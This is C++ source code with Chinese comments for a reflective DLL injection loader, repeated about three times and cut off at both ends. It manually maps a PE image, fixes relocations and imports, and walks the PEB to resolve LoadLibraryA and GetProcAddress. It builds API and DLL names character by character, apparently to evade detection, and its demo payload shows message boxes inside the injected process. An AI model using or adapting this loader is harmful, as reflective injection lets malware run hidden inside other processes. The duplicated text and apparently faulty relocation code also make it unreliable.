pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中 if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL) { do { PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8); //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构 int num = (pBaseReloc->SizeOfBlock - 8) / 2; //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的 for (int i = 0; i < num; i++) { WORD type = TypeOffset[i] >> 12; //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型) WORD offset = TypeOffset[i] & 0x0FFF; //去掉类型(前四字节) int differ = 0; if (type == 3) { differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase; ULONG_PTR p = (ULONG_PTR)pAlloc + differ; char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress; char* fromeaddr = (char*)p; for (int c = 0;c < 4;c++) { tagetaddr[c] = fromeaddr[c]; } } } SizeOfBaseReloc -= pBaseReloc->SizeOfBlock; //通过字节大小来间接表示个数 pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构 } while (SizeOfBaseReloc); } //导入表的处理 //因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了 // 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过 // TEB和PEB的帮助找到了 //GetProcAddress的地址 typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR); //LoadLibrary的地址 typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); GETPROCADDR pGetProcAddress = NULL; LOADLIBRARYA pLoadLibraryA = NULL; //得到TEB的地址,通过TEB找到PEB PTEB pTEB = (PTEB)__readgsqword(0x30); PPEB pPEB = pTEB->ProcessEnvironmentBlock; // 获取PEB.Ldr PPEB_LDR_DATA pLdr = pPEB->Ldr; // 遍历模块列表,找到 kernel32.dll PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList; PLIST_ENTRY pCurrentEntry = pListHead->Flink; while (pCurrentEntry && pCurrentEntry != pListHead) { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (pEntry && pEntry->FullDllName.Buffer) { wchar_t* dllName = pEntry->FullDllName.Buffer; // 提取 DLL 名称 wchar_t* fileName = ExtractDllName(dllName); // 目标 DLL 名称kernel32.dll wchar_t a[50] = { 0 }; a[0] = L'k'; a[1] = L'e'; a[2] = L'r'; a[3] = L'n'; a[4] = L'e'; a[5] = L'l'; a[6] = L'3'; a[7] = L'2'; a[8] = L'.'; a[9] = L'd'; a[10] = L'l'; a[11] = L'l'; a[12] = L'\0'; if (CompareDllName(fileName, a)) { //分析PE文件找到导出表 HMODULE hKernel32 = (HMODULE)pEntry->DllBase; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew); // 获取导出表的地址 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的各个信息 DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames); DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions); WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 遍历导出表,查找 LoadLibraryA char targetName1[50] = "LoadLibraryA"; targetName1[0] = 'L'; targetName1[1] = 'o'; targetName1[2] = 'a'; targetName1[3] = 'd'; targetName1[4] = 'L'; targetName1[5] = 'i'; targetName1[6] = 'b'; targetName1[7] = 'r'; targetName1[8] = 'a'; targetName1[9] = 'r'; targetName1[10] = 'y'; targetName1[11] = 'A'; targetName1[12] = '\0'; // 遍历导出表,查找 GetProcAddress char targetName2[50] = { 0 }; targetName2[0] = 'G'; targetName2[1] = 'e'; targetName2[2] = 't'; targetName2[3] = 'P'; targetName2[4] = 'r'; targetName2[5] = 'o'; targetName2[6] = 'c'; targetName2[7] = 'A'; targetName2[8] = 'd'; targetName2[9] = 'd'; targetName2[10] = 'r'; targetName2[11] = 'e'; targetName2[12] = 's'; targetName2[13] = 's'; targetName2[14] = '\0'; int isP = 0; for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) { char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]); if (CompareStrings(functionName, targetName1)) { // 找到函数名,获取其地址 DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]]; pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA); isP++; } if (CompareStrings(functionName, targetName2)) { // 找到函数名,获取其地址 DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]]; pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA); isP++; } if (isP == 2) { break; } } break; // 找到后退出 } } pCurrentEntry = pCurrentEntry->Flink; } if (!pLoadLibraryA && !pGetProcAddress) { char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块"; return FALSE; } else { char sucsess[] = "sucsess"; } PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc); //这个是IID的指针 if (pImport != NULL) { while (pImport->Name != NULL) { char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区 char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址 // 手动将名称拷贝到 DLLname 缓冲区 for (int i = 0; i < sizeof(DLLname) - 1; i++) { if (pDLLName[i] == '\0') // 遇到字符串结束符时停止 break; DLLname[i] = pDLLName[i]; // 拷贝字符 } DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾 HMODULE hProcess = pLoadLibraryA(DLLname); //通过名称找句柄 if (!hProcess) { return FALSE; } PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc); PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc); while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL) { PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); //找DLL中函数的名字 if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式 { pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址 } else { pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name)); //通过函数名来获取地址 } pINT++; pIAT++; } pImport++; } } //最后的操作就是修正程序的入口地址 PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew); FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint); EOP(); return TRUE;}// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <windows.h>#include<stdio.h>#include <stdbool.h>#include <winternl.h>extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);wchar_t* ExtractDllName(const wchar_t* fullDllName);void my_wctomb(char* dest, const wchar_t* src);int CompareStrings(const char* str1, const char* str2);// DLL入口点函数BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ // 弹窗代码 MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK); char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区 // 获取当前进程的可执行文件路径 DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH); MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK); Sleep(99999999); return TRUE;}// 自定义的宽字符转普通字符的函数void my_wctomb(char* dest, const wchar_t* src) { while (*src) { if (*src >= L'A' && *src <= L'Z') { *dest = (char)(*src + (L'a' - L'A')); // 转换大写字符为小写 } else if (*src >= L'a' && *src <= L'z') { *dest = (char)*src; // 保留小写字符 } else if (*src >= L'0' && *src <= L'9') { *dest = (char)*src; // 保留数字字符 } else { *dest = '?'; // 对于其他字符,可以选择替代字符,例如 '?' } dest++; src++; } *dest = '\0'; // 确保目标字符串以 null 结尾}int CompareStrings(const char* str1, const char* str2) { while (*str2 != '\0') { if (*str1 != *str2) { return 0; // 返回差值 } str1++; str2++; } return 1; // 两个字符串完全匹配时返回0}// 比较两个 DLL 名称(大小写不敏感)int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) { size_t i = 0; while (dllName[i] != L'\0' || targetDllName[i] != L'\0') { // 将两个字符都转换为小写进行比较 wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i]; wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i]; // 如果字符不同,则返回比较结果 if (ch1 != ch2) { return 0; } i++; } // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等 return 1; // 如果两个字符串完全相同,返回 0}// 提取 DLL 名称的函数wchar_t* ExtractDllName(const wchar_t* fullDllName) { wchar_t* fileName = NULL; wchar_t* temp = (wchar_t*)fullDllName; // 遍历并找到最后一个 '\\',获取文件名部分 while (*temp) { if (*temp == L'\\') { fileName = temp + 1; // 更新文件名的位置 } temp++; } // 如果没有找到 '\\',则认为整个字符串就是文件名 if (!fileName) { fileName = (wchar_t*)fullDllName; } return fileName;}extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll){ //获取磁盘文件的DOS头和NT头 PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll; //赋值DOS头 PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头 //给内存分配空间,并对pAlloc进行初始化 DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; //内存空间大小 PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize); if (pAlloc == NULL) return FALSE; if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; // 无效的头,直接退出 // 手动实现 CopyMemory 的功能 BYTE* dst = (BYTE*)pAlloc; // 目标内存地址 BYTE* src = (BYTE*)pDll; // 源内存地址 size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数 for (size_t i = 0; i < size; ++i) { dst[i] = src[i]; // 逐字节复制 } //复制节区表 PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS)); DWORD SecNum = pNTheader->FileHeader.NumberOfSections; for (int i = 0; i < SecNum; i++) { if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) { pSec++; continue; } char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData)); char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress)); DWORD dwSizeOfRawData = pSec->SizeOfRawData; DWORD dwVirtualSize = pSec->Misc.VirtualSize; for (DWORD j = 0; j < dwSizeOfRawData; j++) { chDestMem[j] = chSrcMem[j]; } if (dwVirtualSize > dwSizeOfRawData) { char* start = chDestMem + dwSizeOfRawData; char* end = chDestMem + dwVirtualSize; while (start < end) { *start++ = 0; } } pSec++; } //杜哥部分登场 //开始检测并加载重定位表 PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc); //重定位表指针通过NT结构的数据目录表查找到位置 int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中 if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL) { do { PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8); //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构 int num = (pBaseReloc->SizeOfBlock - 8) / 2; //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的 for (int i = 0; i < num; i++) { WORD type = TypeOffset[i] >> 12; //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型) WORD offset = TypeOffset[i] & 0x0FFF; //去掉类型(前四字节) int differ = 0; if (type == 3) { differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase; ULONG_PTR p = (ULONG_PTR)pAlloc + differ; char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress; char* fromeaddr = (char*)p; for (int c = 0;c < 4;c++) { tagetaddr[c] = fromeaddr[c]; } } } SizeOfBaseReloc -= pBaseReloc->SizeOfBlock; //通过字节大小来间接表示个数 pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构 } while (SizeOfBaseReloc); } //导入表的处理 //因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了 // 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过 // TEB和PEB的帮助找到了 //GetProcAddress的地址 typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR); //LoadLibrary的地址 typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); GETPROCADDR pGetProcAddress = NULL; LOADLIBRARYA pLoadLibraryA = NULL; //得到TEB的地址,通过TEB找到PEB PTEB pTEB = (PTEB)__readgsqword(0x30); PPEB pPEB = pTEB->ProcessEnvironmentBlock; // 获取PEB.Ldr PPEB_LDR_DATA pLdr = pPEB->Ldr; // 遍历模块列表,找到 kernel32.dll PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList; PLIST_ENTRY pCurrentEntry = pListHead->Flink; while (pCurrentEntry && pCurrentEntry != pListHead) { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (pEntry && pEntry->FullDllName.Buffer) { wchar_t* dllName = pEntry->FullDllName.Buffer; // 提取 DLL 名称 wchar_t* fileName = ExtractDllName(dllName); // 目标 DLL 名称kernel32.dll wchar_t a[50] = { 0 }; a[0] = L'k'; a[1] = L'e'; a[2] = L'r'; a[3] = L'n'; a[4] = L'e'; a[5] = L'l'; a[6] = L'3'; a[7] = L'2'; a[8] = L'.'; a[9] = L'd'; a[10] = L'l'; a[11] = L'l'; a[12] = L'\0'; if (CompareDllName(fileName, a)) { //分析PE文件找到导出表 HMODULE hKernel32 = (HMODULE)pEntry->DllBase; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew); // 获取导出表的地址 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的各个信息 DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames); DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions); WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 遍历导出表,查找 LoadLibraryA char targetName1[50] = "LoadLibraryA"; targetName1[0] = 'L'; targetName1[1] = 'o'; targetName1[2] = 'a'; targetName1[3] = 'd'; targetName1[4] = 'L'; targetName1[5] = 'i'; targetName1[6] = 'b'; targetName1[7] = 'r'; targetName1[8] = 'a'; targetName1[9] = 'r'; targetName1[10] = 'y'; targetName1[11] = 'A'; targetName1[12] = '\0'; // 遍历导出表,查找 GetProcAddress char targetName2[50] = { 0 }; targetName2[0] = 'G'; targetName2[1] = 'e'; targetName2[2] = 't'; targetName2[3] = 'P'; targetName2[4] = 'r'; targetName2[5] = 'o'; targetName2[6] = 'c'; targetName2[7] = 'A'; targetName2[8] = 'd'; targetName2[9] = 'd'; targetName2[10] = 'r'; targetName2[11] = 'e'; targetName2[12] = 's'; targetName2[13] = 's'; targetName2[14] = '\0'; int isP = 0; for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) { char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]); if (CompareStrings(functionName, targetName1)) { // 找到函数名,获取其地址 DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]]; pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA); isP++; } if (CompareStrings(functionName, targetName2)) { // 找到函数名,获取其地址 DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]]; pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA); isP++; } if (isP == 2) { break; } } break; // 找到后退出 } } pCurrentEntry = pCurrentEntry->Flink; } if (!pLoadLibraryA && !pGetProcAddress) { char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块"; return FALSE; } else { char sucsess[] = "sucsess"; } PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc); //这个是IID的指针 if (pImport != NULL) { while (pImport->Name != NULL) { char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区 char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址 // 手动将名称拷贝到 DLLname 缓冲区 for (int i = 0; i < sizeof(DLLname) - 1; i++) { if (pDLLName[i] == '\0') // 遇到字符串结束符时停止 break; DLLname[i] = pDLLName[i]; // 拷贝字符 } DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾 HMODULE hProcess = pLoadLibraryA(DLLname); //通过名称找句柄 if (!hProcess) { return FALSE; } PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc); PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc); while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL) { PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); //找DLL中函数的名字 if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式 { pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址 } else { pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name)); //通过函数名来获取地址 } pINT++; pIAT++; } pImport++; } } //最后的操作就是修正程序的入口地址 PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew); FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint); EOP(); return TRUE;}// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <windows.h>#include<stdio.h>#include <stdbool.h>#include <winternl.h>extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);wchar_t* ExtractDllName(const wchar_t* fullDllName);void my_wctomb(char* dest, const wchar_t* src);int CompareStrings(const char* str1, const char* str2);// DLL入口点函数BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ // 弹窗代码 MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK); char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区 // 获取当前进程的可执行文件路径 DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH); MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK); Sleep(99999999); return TRUE;}// 自定义的宽字符转普通字符的函数void my_wctomb(char* dest, const wchar_t* src) { while (*src) { if (*src >= L'A' && *src <= L'Z') { *dest = (char)(*src + (L'a' - L'A')); // 转换大写字符为小写 } else if (*src >= L'a' && *src <= L'z') { *dest = (char)*src; // 保留小写字符 } else if (*src >= L'0' && *src <= L'9') { *dest = (char)*src; // 保留数字字符 } else { *dest = '?'; // 对于其他字符,可以选择替代字符,例如 '?' } dest++; src++; } *dest = '\0'; // 确保目标字符串以 null 结尾}int CompareStrings(const char* str1, const char* str2) { while (*str2 != '\0') { if (*str1 != *str2) { return 0; // 返回差值 } str1++; str2++; } return 1; // 两个字符串完全匹配时返回0}// 比较两个 DLL 名称(大小写不敏感)int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) { size_t i = 0; while (dllName[i] != L'\0' || targetDllName[i] != L'\0') { // 将两个字符都转换为小写进行比较 wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i]; wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i]; // 如果字符不同,则返回比较结果 if (ch1 != ch2) { return 0; } i++; } // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等 return 1; // 如果两个字符串完全相同,返回 0}// 提取 DLL 名称的函数wchar_t* ExtractDllName(const wchar_t* fullDllName) { wchar_t* fileName = NULL; wchar_t* temp = (wchar_t*)fullDllName; // 遍历并找到最后一个 '\\',获取文件名部分 while (*temp) { if (*temp == L'\\') { fileName = temp + 1; // 更新文件名的位置 } temp++; } // 如果没有找到 '\\',则认为整个字符串就是文件名 if (!fileName) { fileName = (wchar_t*)fullDllName; } return fileName;}extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll){ //获取磁盘文件的DOS头和NT头 PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll; //赋值DOS头 PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头 //给内存分配空间,并对pAlloc进行初始化 DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; //内存空间大小 PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize); if (pAlloc == NULL) return FALSE; if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; // 无效的头,直接退出 // 手动实现 CopyMemory 的功能 BYTE* dst = (BYTE*)pAlloc; // 目标内存地址 BYTE* src = (BYTE*)pDll; // 源内存地址 size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数 for (size_t i = 0; i < size; ++i) { dst[i] = src[i]; // 逐字节复制 } //复制节区表 PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS)); DWORD SecNum = pNTheader->FileHeader.NumberOfSections; for (int i = 0; i < SecNum; i++) { if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) { pSec++; continue; } char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData)); char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress)); DWORD dwSizeOfRawData = pSec->SizeOfRawData; DWORD dwVirtualSize = pSec->Misc.VirtualSize; for (DWORD j = 0; j < dwSizeOfRawData; j++) { chDestMem[j] = chSrcMem[j]; } if (dwVirtualSize > dwSizeOfRawData) { char* start = chDestMem + dwSizeOfRawData; char* end = chDestMem + dwVirtualSize; while (start < end) { *start++ = 0; } } pSec++; } //杜哥部分登场 //开始检测并加载重定位表 PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc); //重定位表指针通过NT结构的数据目录表查找到位置 int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中 if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL) { do { PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8); //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构 int num = (pBaseReloc->SizeOfBlock - 8) / 2; //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的 for (int i = 0; i < num; i++) { WORD type = TypeOffset[i] >> 12; //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型) WORD offset = TypeOffset[i] & 0x0FFF; //去掉类型(前四字节) int differ = 0; if (type == 3) { differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase; ULONG_PTR p = (ULONG_PTR)pAlloc + differ; char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress; char* fromeaddr = (char*)p; for (int c = 0;c < 4;c++) {